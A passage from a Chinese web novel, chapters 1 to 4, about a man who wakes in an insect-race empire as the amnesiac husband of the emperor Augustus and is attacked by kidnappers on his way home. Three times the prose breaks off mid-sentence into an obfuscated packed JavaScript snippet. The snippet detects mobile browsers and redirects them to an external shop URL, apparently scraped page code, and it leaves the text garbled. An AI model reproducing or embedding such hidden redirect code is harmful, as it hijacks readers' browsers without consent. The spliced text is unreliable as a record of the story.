《救命!虫皇雌君要杀我?!》 1. 第1章 雌君! 空气中弥漫着一股淡淡的消毒水味。 这是一间宽敞明亮的vip病房。此刻,池骁正躺在柔软整洁的病床上,感受着被纱布包裹的后脑处一跳一跳的疼痛。然后在这种持续的折磨中,盯着天花板发呆。 不,不是发呆。他在思考。 池骁瞥了一眼房间角落里闪烁红光的监控,很快又将目光收回。 “你叫西奥·兰斯顿。”这是他来到虫族后听到的第一句话。 “是虫皇奥古斯特的雄主。”这是第二句。 今天是他来到虫族世界的第三天。前两天因为伤口疼得厉害,加上药物的副作用,池骁一直昏昏欲睡。没能搜集到更多的信息,很多时候也只能凭借本能做出反应。直到现在停了一部分药物,他才有了大片的时间用来思考。 他现在是西奥·兰斯顿,是一个雄虫了。 在最初的震惊过后,池骁,或者说西奥对于这一点倒是接受良好。 可能因为经历过一次死亡,发现只要活着就足够幸运了。物种什么的,不重要。 但他并没有原主的记忆,于是也只能参照最老套的桥段,宣称自己失忆了。 好在甩出失忆的借口之后,没有任何虫怀疑。因为西奥受伤的部位恰好就在头部,醒来之前刚做了一次开颅手术,差点小命不保。 “相比之下,失忆已经算比较轻微的副作用了。” 这是西奥主治医生兼最好朋友吉尔的原话。 但只有池骁自己清楚,醒来的人已经不是原主西奥,而是他池骁。 不过身份暂时没被怀疑,算是个好消息。他能有更多的时间观察和准备,好在这个陌生的世界里成功存活下来。 另外,就是关于他的另一半,虫皇奥古斯特。对,他后来才知道,所谓雄主,就是丈夫的意思。原主跟虫皇之间,有长达几十年的婚姻事实。 西奥顿觉头疼。这么亲密的枕边虫,相处久一点,真的不会被怀疑吗?! 但如果想离开奥古斯特,总不能没有原因。他必须要先了解这位虫皇,才能找到合适的、不会让其他虫起疑心的借口。 这段时间里,他偶尔清醒的时候,也会抓住机会询问身边的医生和护士,“奥古斯特,他是一个怎样的虫?” 得到的信息不算多,零零散散的。虫皇非常英俊,精神力强悍,曾经以一己之力击溃敌军百万级别的战舰。虫皇英明神武,统一了分裂长达百年的虫族,建立了全新的帝国。虫皇非常体贴,在得知西奥受伤之后,立刻从K区赶了回来,只是因为无菌病房的严格要求才没能亲自进来探望。 总之,全是正面的。完美到有点不真实了。 “而且虫皇陛下对下属也非常宽厚,我们这几天的加班工资都很多。” 话到这里,西奥明白了。他是不可能从这些医护嘴里听到奥古斯特坏话的。因为那是老板。而且这种看护病房里是有监控摄像头的,说不准奥古斯特就在另一边看着呢!这种情况下谁敢说老板坏话? “奥古斯特……我的雌君,他就完全没有缺点是吗?” “也不能这么说。”医生吉尔搭话道,“有一点还是挺可惜的。” “虫族一向注重繁衍,但你们成婚这么久,只生育过一次。跟其他虫相比,虫崽有点太少了。” “不孕不育?”西奥问。 “也可能是陛下不想生。”吉尔思考了一下回道,“毕竟是虫皇,如果后代太多,又每个都很强,难免会产生纷争。” 想得好长久啊……听起来又是个加分项。 “你的雌君马上就会来看你了。”做例行检查的时候,吉尔微笑着通知他这个好消息,“有什么问题,你自己当面问他吧?” 但西奥没有喜出望外,只回了一个勉强的笑容。 “我有点担心,”西奥为自己有些难看的表情找了个借口,“毕竟我现在都不记得他了……” “没关系。”吉尔安慰他,“陛下已经知道你失忆的事情了。” “而且你们感情一直很好。别说失忆,就算变成傻子,陛下也不会不要你的。” 前提是我是真正的西奥。 “我担心……我不知道,如果我不记得了,那感情会不会也变淡、甚至消失了?” 吉尔安慰地拍拍他肩膀,“放心吧,只要是真爱,见到他的瞬间,感觉都会回来的!” “你只是失忆了,又不是变心了。” 西奥叹气。他的确没有变心,因为他根本没有谈过恋爱啊! 他就是从病床上蹦起来,从窗户直接跳下去,也不会对这位素未谋面的陌生雌虫,产生任何感觉的! 但事已至此,也只能随机应变了。 “对了,我的智能手环呢?” 尽管行动受限,但西奥并没有停止观察。这样的高科技文明里,自然也会有类似于手机的便携信息工具。在虫族,这东西就是手环。薄薄一圈,贴在手腕上。远远看过去,像是某种漂亮的首饰。 “你要手环干什么?”吉尔没有正面回应他的请求。 “每个虫都离不开手环吧。我现在醒了,也应该有自己的吧?”西奥看向吉尔的手腕,那里的手环屏幕正在闪烁着。不知道是信息还是什么。 吉尔点点头,“也是。” “但你的手环不在我这儿,在陛下那里。反正马上就要见面了,你自己问他要吧。” 西奥算是发现了,除了擅长医生的本职工作外,吉尔还非常擅长甩锅。 他真的是自己的好朋友吗?西奥在心里打了个问号。 “别用那种眼神看我嘛!”吉尔辩解,“手环这个东西算每个虫的隐私。牵扯到个虫信息,支付账号之类的。要是能随随便便就被其他虫拿到手里,那才让虫担心吧!” 不过吉尔还是给出了一点有用的建议,“要是实在无聊,不如看看电视吧!” 吉尔拿出一个遥控器,冲着对面点了几下。那片洁白的墙壁就变成了一面可以显示图像的巨大屏幕。 他在这里待了两天都没发现对面原来是个屏幕。 看来,很多事情并不像表面看上去的那样简单。 难得有这么一个可以主动了解外界的渠道,西奥当然不会放过。送走吉尔之后,便认真地观看起了虫族的电视节目。 “虫巢,曾经是一种非常常见的群居建筑。这来自于虫族体内远古的筑巢基因,属于一种生理本能。但在进入星际时代后,会出现这样奇特的自发组建的大型建筑群,更多还是因为雌虫的数量众多,以及曾经备受压迫的空间和居住环境。我们现在所看到的是旧首都星上一处名为萨拉窝的虫巢旧址,但在元爆炸事件之后,这片区域已经……” 这个频道似乎在播放纪录片。虽然自然历史也很重要,但并不是他最迫切需要了解的。 西奥切换到了下一个频道。 “西尔斯,如果你跳,那我也跳!”一个看体型像雄虫的角色,正对着旁边高大的军雌深情款款说道。 如此浮夸的演技,让西奥瞬间皱紧了眉头,仿佛吃到了一颗巨酸的枣子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823902|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这什么玩意儿啊?! 军雌一脸悲痛,但慷慨激昂,“不,这是我身为军雌的职责!”然后动作夸张地把雄虫往旁边一推! 就在这时,第三个虫出场,“老师,我也是军雌!这也是我的职责!” 满脑子问号的西奥看了看屏幕右下角,这个剧的名字是…… “风流虫皇俏上将?” 虫族也流行这种土味影视文化吗?! 西奥果断换台。 这次是新闻频道,画风总算正常了。 “距离上次军部发生大面积感染已经过去了将近一个月,尽管目前的感染病例仅限于军雌,但仍在民众中引起了一定的恐慌。” 感染?这是有疫情吗?怎么没听照顾自己的医生和护士提起过。 主持虫字正腔圆,“接下来我们连线第三军团的乔尔少将,了解最新的相关情况。” 一个身穿军装的雌虫出现在了屏幕上,然后开始说一些安抚大众的场面话。翻来覆去都是些车轱辘话,没一点有用的信息。到最后西奥也不知道这场感染的起因经过和结果究竟是什么。 西奥又开始觉得头疼了。电视里信息倒是多了,但也太杂。有用的针对性的东西少之又少。 到底刚刚经历过一场大手术,身体还很虚弱,看了没一会儿电视,西奥上下眼皮开始打架了。 心里想着要保持清醒,等见到虫皇再说,但身体还是缓慢诚实地见了周公。 然后,他做了一个奇怪的梦。 他很清楚这是梦,因为眼前发生的一切不可能是真实的。 因为他身边正蜷缩着一个雌虫。浑身浴血,奄奄一息。他看不清那雌虫的脸,只能够听到因为疼痛而颤抖粗重的喘息。 浓烈的血腥味刺激着他的嗅觉神经。某种直觉告诉他,如果再不做点什么,他就要死了! 巨大的恐慌海啸般席卷了他的身体。但就在西奥抖着手想抱紧雌虫的时候,一道光亮突然将他拉回了现实。 他睁开眼睛,面前依旧是明亮整洁的病房。 时间已经将近傍晚。橙黄色的温暖阳光透过落地窗铺满整个房间,给这小小的病房也染上温馨的颜色。恰好就有那么一束光打在了他的脸上,将他从噩梦中唤醒。 西奥定定地看向窗外,那里有看起来近在咫尺的阳光,树影在风中轻轻摇晃。剧烈跳动的心脏也在这样宁静的氛围中,缓慢平复。 就在这时,身边突然传来一声响动。 房间里还有其他人! 西奥以为是哪个医生或者护士进来了,正打算问问他们关于感染的事情,一扭头,冷不丁对上了一双湛蓝的眼眸。 “醒了?”蓝眼睛的声音低沉磁性,“感觉怎么样?” 面前的雌虫宽肩窄腰,穿着一身藏青色的军装制服,胸前一枚太阳徽章闪闪发光。那双纯净到不可思议的蓝色眼眸,正一眨不眨地盯着他。 简直……完美到像是从他的幻想中走出来的一样。 西奥的大脑尚且没有反应过来,身体率先做出了回应。 扑通!西奥耳畔听到了自己心脏跳动的声音,清晰如擂鼓! 他下意识将手按在胸口,那下面的心脏再次剧烈跳动,一下快似一下。却是因为截然不同的原因。 小鹿乱撞,原来不是夸张。 他好像……不,是确定,对这个雌虫一见钟情了! “你,你是……?” “我是奥古斯特·兰斯顿。”一见钟情的对象回答,“你的雌君。” 2. 第2章 回家~ “抱歉,我……不记得了。”回过神来的西奥赶紧说道。 “我知道。没关系。”奥古斯特看起来倒是一点都不介意,“现在你见到我,有什么感觉吗?” 喜欢!想亲!!! 但西奥当然不至于傻到把真实的想法说出来,“感觉……很好看。” 那双蓝眼睛沉默地盯着他,像是在思考这句话的真假。半晌才说,“西奥,你有照过镜子吗?” 西奥当然照过,也知道他现在这副身体的样子。银发金眸,皮肤白皙,面容精致漂亮,不动的时候,说是个bjd娃娃他都信。 他怀疑这里的雄虫都走这个风格,靠着美貌获得雌虫们的青睐。因为昨天看电视的时候,有个广告词就是:雄虫的美貌,雌君的荣耀! 但由于个人的审美偏好,比起自己那过分精致还带点脆弱感的外貌,他还是更喜欢面前军雌这种五官深邃,充满力量和攻击性的长相。所以那句好看的夸赞绝对出自真心。 更别提,这张最心动的脸还配上了他最喜欢的军装制服。 现在回想,护士们说的那些关于虫皇外面英俊的夸奖,应该是真话。 他从未想过,真香的回旋镖也会打在自己身上。 西奥忍不住又打量了一眼。视线从军雌宽阔结实的肩榜,一路滑到下方黑色皮带勒出的劲瘦腰线。嗯,看起来就很好握。然后,再往下就是…… “咳咳……我是说,你更好看。”意识到自己的视线和思想多少有些不礼貌,西奥迅速收回了目光,然后真诚又心虚地夸赞道。 “民间有个非官方的榜单,评选的是雌虫和亚雌们最想嫁给的十个雄虫。你已经蝉联了八年的榜首了。” 虽然语气不紧不慢,甚至堪称官方,但西奥还是从中听出了调笑,甚至还有质疑。 西奥顿时更心虚了,“我以前……从来没有夸赞过你的外表吗?”他表现得太热情,露馅了? 空气中出现了一阵微妙的安静。 “不说这个了。”奥古斯特迅速转移了话题,然后拿出一个托盘,里面装着三样东西。 “吉尔说你需要手环。我就顺手给你拿来了一些其他的随身物品。” 托盘里一共有三样东西。第一样西奥很熟悉,就是一个常规款的手环。 第二样看起来像是枚戒指。很素的款式,几乎就是个银色的细金属环。西奥拿起来看的时候才发现内侧似乎刻了字。 “是婚戒。”奥古斯特言简意赅地解释道。 西奥下意识看向奥古斯特的左手。果然,那里也有一枚看起来款式类似的戒指。这种时刻,已婚的实感突然袭来。 面前的雌虫是他的雌君,是他的伴侣。 只是,跟奥古斯特结婚的并不是他,而是原主。 西奥的心脏像是被一只手不轻不重捏了一下。 他将左手抬起,准备戴戒指的时候才注意到无名指上有一圈明显的戒痕。那是过往婚姻最真实的证明。 他停顿了一下,然后在奥古斯特期待的目光中,将戒指重新戴回手上。正如预想的那样,严丝合缝。 “谢谢。”这种时候,西奥有些不知道该说什么,只能赶紧把目光转移到下一样东西上。 那是一条项链,链子末端连着一个椭圆形状的挂坠,似乎是金属制成的。上面还刻着某种草的图案。 “这是?” “你的项链。”奥古斯特回答,“上面附加了我的精神力,可以通感。” “如果你遇到危险,需要帮助,就用力捏一下,我会及时赶到的。” 西奥瞬间有种错觉,仿佛自己是用海螺召唤小龙女的哪吒。 但这种被时刻惦记的感觉还不错。西奥把项链挂坠放在掌心,然后握紧,“像这样吗?” 奥古斯特眉头微微皱起,像是身体的某个地方也被紧紧攥住了一样。然后又缓慢松开,“差不多。” 于是项链也回到了西奥的脖子上。小小的挂坠贴在锁骨下方的位置,带来一点微凉的触感。莫名有点像奥古斯特给他的初印象,冰凉、坚硬。 手环则戴在了左手的手腕上。奥古斯特还教了他一些基本的功能,比如通信和查询信息。在好友列表里,奥古斯特的账号被明晃晃置顶了。 但点开以后,里面却什么信息都没有。 “手环在你受伤的时候损坏了。”雌君解释道,“之前的消息没能保留下来。” “这样。”西奥倒是不怎么在意。窥探别人的过去,他也觉得有点不好意思。他主动给奥古斯特发去了第一条消息,“你好。” “反正我什么都不记得了。要不,就当一切从头开始,行不行?”西奥开玩笑般说道。 这个问题没有得到任何回应。 两个虫又随意聊了几句。话题很快到了虫崽身上。 “你是虫皇,那虫崽平时是我在带吗?”虽然早就知道,但亲口讨论育儿知识,西奥还是感觉有点不真实。 这算无痛当爹吗? “他已经成年了,不住在家里。”奥古斯特好像不愿意在虫崽这个话题上聊太多,“短时间内,你应该不会见到他。” 什么意思?身为亲生雌父,奥古斯特的态度有点奇怪。西奥想多问几句,但看到雌虫严肃的脸色,还是噤了声。 在最初的心动和上头过后,西奥已经迅速恢复了理智。然后回想起了现如今两个虫的身份。 虫皇陛下,和他吃软饭的小雄主。 按他目前的身份和地位来说,大概确实没有多嘴的资格。 算了,来日方长。 也不知道从什么时候起,计划就从尽快远离虫皇,变成了来日方长。 没聊几句,奥古斯特就两次低头看自己的手环。似乎很在意时间。 西奥当然没错过这么明显的动作,“你还有事吗?” “一会儿有个军部的会议,需要我出席。” “那你去忙吧。”西奥大方提议道,“我这里一切都好,也没什么事情了。” 奥古斯特没再推辞,点了点头,“我已经跟医生说过了,明天就来接你回家。” 这句话比起商量,更像是已经决定好的通知。但一直在医院待着,西奥也觉得很不方便。自己家里,总归比这种到处都是摄像头的医疗公共场所要安全和自在些吧。 所以对于尽快回家的决定,他举双手赞成。 “好,我也想早点回家!” 简单道别之后,奥古斯特非常自然地帮西奥把一缕垂在额前的碎发别到耳后,然后俯身—— 似乎是要给他一个道别吻。 这是西奥没料到的事情。他下意识闭上眼睛,心跳又开始加速。这个吻,会落在额头,还是鼻尖,又或者……双唇? 但他等了好一会儿,直到衣服轻微的窸窣声完全停止,也没有等到那个吻落下来。 西奥有些困惑地睁开眼,奥古斯特面无表情,像是什么都没发生一样,“那么,明天见。” 是他误解了吗?西奥说不上是失落更多,还是松了口气更多。 送走了短暂来访的雌君,西奥开始一个人捣鼓手环。 在输入奥古斯特+虫皇的关键词以后,跳出来的第一个搜索结果是一张合照,还是他跟虫皇的。 照片拍得相当好看,而且很专业。虫皇的威严和雄虫的美貌,都很清晰地凸显了出来。新闻也起了个很专业的标题,虫皇陛下携雄主出席二十周年军演活动。 副标题——两虫互动恩爱异常。 恩爱异常…… 西奥的视线在这四个字上停留了一会儿。心中不知是何滋味。 再搜下去还有更多的照片和新闻,基本都是正面的。看来虫皇在民间的支持率还算不错。 搜完了虫皇本虫,西奥也搜了一下自己的名字。词条少了很多。但第一条就点出了他的职业,皇家精神力研究院现任院长。 这倒是出乎他的意料。原来自己不是吃软饭的?看这名头好像还很厉害! 下面的一长串论文更是惊掉了他的下巴。 坏了,学术大佬竟是我自己! 这让他稍稍有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823903|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些底气。但也对未来的生活产生了无限的担忧。虽然他之前也做过科研工作,但是跟虫族的精神力研究不能说一模一样,只能说毫不相关。 等大家发现原本的学术大佬已经沦为学术小白的时候,自己要怎么办呢? 查完了雌君和自己的情况,他还搜了一下两个虫的亲属状况。正如奥古斯特所说的,他们目前有一个虫崽,已经成年,叫弗雷德。但因为在军部秘密任职,没搜到公开的照片。 再往上查,西奥还发现自己和奥古斯特都有长辈在世。比如他的雄父,就是兰斯顿家族当中地位不低的一员。而奥古斯特则有一位叔父,是目前莫德家族的掌权人。 沿着亲属家族这条线扩展开来,他还搜到了一张庞大的写满了名字的族谱。得益于虫族平均将近四百年的寿命,这上面的虫相当之多,而且关系交错纵横,不乏几个大家族相互联姻的情况。像是一张密密麻麻的蛛网,看的西奥有点头疼。 除了几个大家族的姓氏反复出现之外,西奥还发现了另一个让他很在意的地方。那就是奥古斯特原来的姓氏,其实是莫德。但在成婚之后,跟着自己改成了兰斯特。 这一事实,再加上之前查到的身为院长的职位,让西奥觉得自己的腰杆子好像硬了一点。 他或许要重新审视自己在这个家庭、以及在皇室当中的地位和分量。 族谱上的名字太多,西奥也不可能一下子全部记住,只能够挑几个重要的先记下来。想着说不定以后会用上。 除此之外,他还查了一堆社会常识。比如说在婚姻当中应尽的义务、如何跟虫崽沟通之类的。了解到了一些关于标记、信息素和精神力方面的基础知识。 手环果然比电视有用多了! 而在西奥努力学习知识的同时,他的一举一动以及手环的实时界面也被同步到了另外一边。 一切都被放大、审视,然后进行判断。而原本声称要参加军部会议的奥古斯特正站在屏幕前,一眨不眨地盯着这一切。 “目前为止,一切正常。”副官诺亚对奥古斯特汇报道。 就在这时,门口处突然传来一阵争吵声。 奥古斯特神情阴冷,诺亚赶紧起身前去查看,没过一会儿回来道:“是公爵。” 帝国内的公爵不算多,但也不少。不过能够畅通无阻进到这里的,只有那一位。内阁里头的那位。 也因此,诺亚没有擅自处理,而是询问奥古斯特:“需要我把他赶走吗?” 从级别和权力上来说,诺亚完全无法跟公爵相比。强行驱逐,那就是以下犯上,公爵甚至有权力用这个名头直接把诺亚送上军事法庭。但他是皇家护卫队的一员,这代表无论是什么样的命令,只要来自虫皇,他就会毫不犹豫地执行。 “不用。我去。” 奥古斯特亲自来到门口,警卫员自动让出一条通道。在这条道路的尽头,站着一个头发花白的年长雄虫。左手的中指上戴着一枚戒指,上面的金色太阳纹章,代表他是现如今帝国内阁的一员。 年迈的雄虫撑着手杖将身体挺得笔直,一脸倨傲地向奥古斯特行了一个礼,“陛下。” “公爵特地来这里,是有什么事吗?” 面对虫皇,这位资历深远的雄虫议员终于还是短暂低下了头,“陛下,灰铁大楼隶属于内阁的医疗部门,是单独的属地。” “按照规定,您的皇家卫队无权插手!” 奥古斯塔没有回答这个问题,“这里是帝国的领地吗?” “当然,但是……” “那么,身为虫皇,接管帝国所属领地,有什么问题吗?” 一堆文件被递到议员眼前,“手续都在这里,签的都是我的名字。” 雄虫脸上的肉抽动了一下,他显然没有料到,奥古斯特会这么不留情面,“陛下,您知道自己在做什么吗?!” “我一向非常尊敬您,公爵。”奥古斯特微微弯腰,脸上是客套但冷漠的微笑,“但唯独这件事,关于西奥的事情上……” “没有任何商量的余地。” 3. 第3章 遇袭! 第二天一大早,就有一队士兵来到西奥的病房里,负责护送他离开医院。 但跟先前说好的不一样,奥古斯特没能亲自来接他。换成了他的副官,诺亚。 “陛下临时有些事务,将护送您回宫的任务全权交给了我。”诺亚有一头棕红色的短发,笑起来的时候意外很阳光,像个清纯男大。后来西奥才知道,他的军衔是上将,统领整个皇家护卫队。至于年龄……已经八十了。 虫族真是可怕的长生种。西奥再次感叹。 “请放心,您的安全会得到充分的保障。” “好的,麻烦你了。”西奥倒没觉得自己的安全会有什么问题。只是对于奥古斯特今天没来这件事,有些失落。但同时也悄悄松了一口气。 他喜欢他,忍不住想要见他,但同时……也有点心虚。 毕竟,他又不是真正的西奥·兰斯顿。 今天要回家,西奥总算能离开病床了。在护士的帮助下,成功把这具仍旧很虚弱的躯体转移到了轮椅上。 但等到离开病房,穿过长长的走廊,又经过了漫长的电梯,终于来到外面的时候,他才后知后觉意识到,事情好像不太对劲。 首先,这栋他以为是医院的建筑大得有些离谱。而且进出似乎相当麻烦。他们走迷宫一样走了半个多小时,一路上经过了至少七次非常严格的安检。 其次,这栋庞大的建筑外面,居然是一片戈壁。光秃秃的,什么都没有。 那他之前看到的阳光和树影是哪里来的?! 这个问题很快从诺亚那里得到了答案,“室内造景。” 这么财大气粗吗?还是说自然资源匮乏到只能造景了? “这是灰铁建筑群的一部分,属于帝国最高规格的建筑。不仅配备有最先进的医疗设施,而且安全级别是最高等级。也因此,选址都在比较荒凉的地方。”诺亚多说了一句,“能使用这里,是陛下动用了特权。” 只是撞到脑袋动个手术而已,有必要这么兴师动众吗?西奥不是很理解。 但鉴于他自己就是动用了特权的原因,西奥还是选择不发表任何评论,“哦,这样啊。” 接送他们的飞行器外型接近水滴,流线的金属外壳反射着亮光,看起来科技感十足。内部倒是比想象中宽敞,还配备了一些基础的急救设施。有点像一辆会飞的急救车。 “从这里到皇宫,大概要一个小时左右。”固定好西奥的轮椅后,诺亚还征求了一下他的意见,“如果您打算睡一觉,也可以转移到旁边的床上。” 但躺了那么久,还是坐着更舒服些。而且只是一个小时而已。西奥果断拒绝,“不用了,我坐着就好。” “不必担心会睡过头。快抵达的时候,我会负责叫醒您的。” 诺亚对他的态度跟奥古斯特和吉尔都不一样,除了礼貌尊敬之外,还保持着恰到好处的距离感。想想也正常,毕竟诺亚是奥古斯特的直系下属,自己相当于是他的老板的丈夫。确实是个有点尴尬、但也不能得罪的身份。 西奥冲对方笑了笑,“没有,我就是想坐着。” 诺亚点点头,没再说什么。离开客舱进入前方驾驶舱的时候,他回头看了一眼西奥。 精致漂亮的雄虫正安静坐在轮椅上发呆。身上盖着一条薄绒的深色毛毯,趁得脸色愈发苍白。 看起来有点可怜。一个念头划过诺亚的脑海。但他很快摇了摇头,将这个念头晃了出去。 他是一个军雌,服从和执行命令才是他的天职。 至于上面的决策和决策背后的原因,那不是他应该插手的。 伴随着微弱的轰鸣声,飞行器平稳起飞。高度不算太高,没有抵达云层之上。透过圆形的玻璃舷窗,能够清楚看到外面的风景。起初西奥还饶有兴致地看了一会儿,但很快就对这种千篇一律的荒漠失去了兴致。 几乎所有士兵都去了前方的驾驶舱,后面的客舱里面只剩下西奥,还有一个负责照顾他的护士。 “所以……你叫什么名字?”西奥实在受不了这种无聊的安静,主动开口搭话。 护士看了他一眼,没说话。口罩遮挡了大部分面孔,西奥看不清他的表情。 就在西奥以为对方就打算这么沉默一路的时候,护士突然开口了,“克利夫。” “我的名字是克利夫。您不记得了吗?” 既然这么说,应该是之前认识的虫。“抱歉,我谁都不记得了。” “您可以不记得我,但是您不该忘了陛下。” 怎么感觉对方话里话外,有些指责的意思呢?平白无故被用话刺了一下,西奥心里也有点不舒服,“失忆是因为事故,又不是我想发生的。” “您不知道,陛下为了您已经……” “克利夫!”驾驶舱的通讯器突然传来诺亚的声音,粗暴地打断了这场对话,“到驾驶舱来。立刻!” “为了我什么?”话说一半,让西奥太好奇了,赶紧在克利夫离开之前,追问了一句。 “没什么。”克利夫说,“请您千万不要辜负陛下。” 他刚来虫族,怎么辜负呢?难道原主是个渣虫?恩爱异常只是作秀?西奥还想多问几句,但是能回答他问题的虫已经离开了。 很显然,驾驶舱能清楚看到客舱里的情况,而且诺亚不想让克利夫跟他多说什么。 事情似乎有猫腻。西奥不喜欢这种被蒙在鼓里的感觉,但客舱里唯一一个能够交谈的对象也被叫走了。雄虫叹息了一声,开始百无聊赖地戳手环。 但不知道是不是正在飞行的缘故,这里的网络有点差。经常点一下要等好几秒钟才能够出现画面。 几分钟后,西奥彻底放弃了卡得要命的手环。因为无事可做,很快伴随着平稳微弱的引擎声,逐渐沉入了梦乡。 这次的睡眠倒是很安稳。没有做任何奇怪的噩梦。但叫醒他的并不是成功抵达的消息,而是一声巨响! 轰—— 西奥瞬间被惊醒!然后在剧烈的颤动和失重中忍不住咒骂起来。 卧槽!怎么回事?! 伴随着又一声巨响,飞行器终于停止颤动,狠狠砸在地上,完成了一次相当糟糕的硬着陆。幸亏西奥跟轮椅都被牢牢固定在地面上,才没有被直接甩出去。 西奥惊魂未定,抚了抚自己胸口,用力喘了几口气,才勉强缓了过来。 好消息,飞行器没有解体!自己也还活着! 但情况依旧糟糕透顶。客舱内闪烁的灯光和时不时蹦出的火花,都预示着,此地不宜久留! “诺亚!克利夫!”西奥知道驾驶室能看到客舱的状况,于是拼命大喊,“发生什么事了?!” 没有虫回应他。 西奥拼命解开把自己固定在轮椅上的绑带,用有些发抖的腿撑着站起来。他先是走到客舱门旁边,想先从这里出去再说。但摁了几次开关都没反应,用力扒也扒不开,仔细一看,才发现在刚才的坠落当中,舱门发生了明显的变形,死死卡住了。 这种情况,除非他能手撕铁门,否则别想从这里出去了。 西奥又骂了一声,但很快想到从驾驶舱也能到外面,于是踉踉跄跄来到驾驶舱与客舱之间的那扇门,用力砸了两下,“有虫吗——” 依旧没有回应。 西奥又尝试打开这道门,但不管是摁旁边的开关,还是再次使劲扒门,都没有用。而且不管他怎么喊,另一侧始终寂静一片。这让西奥忍不住生出了不妙的猜想,那些护送他的军雌们,不会都在这场事故里死掉了吧? 就在他以为事情不可能更糟糕的时候,客舱内的灯闪烁两下,熄灭了。 “草!”在昏暗的红色应急灯中,西奥忍不住骂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823904|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句脏话。他也不去驾驶舱了,顺着微弱亮光开始往窗户旁边靠。 但就在他挪到一半的时候,伴随着一声喀拉的巨响,不远处的舱门,突然被撕开了一条口子! 字面意义上的,被撕开。 因为裂开的那个口子里,伸进来的赫然是一双长着尖利指甲的手! 这还是西奥第一次近距离观测到虫族变态的战斗力。他倒抽一口凉气,然后下意识往后退。 那个裂口大概有将近两米,跟光线和沙尘一同进来的,还有两个雌虫。从他们蒙面的打扮来看,多半不是好虫。 原本还算宽敞的客舱,现如今却显得无比狭小,完全没有藏身之处。西奥只能尽量退到离他们最远的角落,警惕地看着他们。 但这两个雌虫似乎完全没把他放在眼里,那个矮一点的一边把玩手里的短刀,一边调笑道:“哟!还醒着呢!” 就算是个傻子,此刻也能看出来对方来者不善。再仔细想想,甚至刚刚的事故,可能也不是意外。但西奥还是强装镇定,声色严厉:“你们知道我是谁吗?!” 矮的那个直接笑出了声,而高的那个回答了他的问题:“当然。” “你这张漂亮的脸蛋,在帝国无虫不知。” 这话让西奥心下一沉。他本来以为是自己运气不好,或者虫族治安差,不小心遇上了坏虫。现在看来,似乎是精心策划好的?! “现在的问题是,虫皇愿意为了你这张脸,出多少钱呢?” 草!这是绑架!是勒索!!! 西奥第一反应是用手环向外面求救,至少发个定位,也能留下条线索。但对面两个虫也不是瞎子,在他偷摸做动作的第一时间就发现了。 “你想干什么?”几乎是眨眼间,矮个子就从两三米之外,瞬间来到了他的面前,一只手还攥住了他的手腕,“要跟谁求救吗?” 什么都还没来得及做,西奥就眼睁睁看着自己的手环被绑匪没收了。 “小心一点,据说他的精神力很厉害。”在矮个子捆西奥双手的时候,高个绑匪提醒道。 精神力?那不是雄虫用来标记雌虫的东西吗?怎么听他们说的像是武器一样? “他要是能用,刚才进来的时候,就会把我们直接杀了吧!”矮个子不以为意,用宽轧带将西奥的双手捆在了背后,“总不至于现在突然发难吧!” 听起来自己好像很厉害的样子,但西奥根本不知道所谓精神力怎么用啊!手环上没提过啊! 就在他祈祷原主的肌肉记忆能突然起作用的时候,矮个子再次挑衅地靠近他,“小雄虫,你会用精神力吗?” 还是病虫的虚弱无力的西奥能怎么办?只能选择摇头否认。 “看吧!”矮个子向身后的同伙炫耀,“就算我们对他做点更过分的事情,他也没办法反抗!” 等下?!原本还打算安静配合,做个听话虫质的西奥,听了这话赶紧说:“我是奥古斯特唯一的雄主,我要是出了什么事情,他是不会放过你们的!” “别忘了,我们之间还有标记存在!”西奥记得,雌虫和雄虫之间的标记,是一生都不会消失的。事到如今,也只能继续上价值。再说了,大家不都说他们,恩爱异常吗?这也不算说谎吧。 “如果你敢碰我一根头发丝,奥古斯特绝对会追到宇宙边缘,也要将你们挫、骨、扬、灰!” 放狠话的确很爽,但放完以后,西奥又有点忐忑,不确定这有没有效果。 听了这话,矮个子倒是不笑了,还往后退了一步。 似乎有效果? “你说的没错。”高个绑匪说,“雄主的确是很多雌虫唯一的弱点。” 西奥刚松口气,就听他继续说,“所以,你才更不能活。” ……什么? 然后,一个黑洞洞的枪口对准了他的脑袋。 4. 第4章 救命—— 砰!!! 一颗激光弹擦着西奥的耳畔,射入了旁边的墙壁中,瞬间溶出一个拳头大小的坑洞。 “你疯了!”生死一瞬,是矮个子绑匪及时握住了同伙的手腕,才让射出的子弹偏离了几公分。 西奥缓慢扭头,定定看了那个坑洞两秒钟,然后才终于回过神。 卧槽!差一点!就差那么一丁点儿,他就要重新投卵了! “你听到他说的……” “这不是我们的计划!” 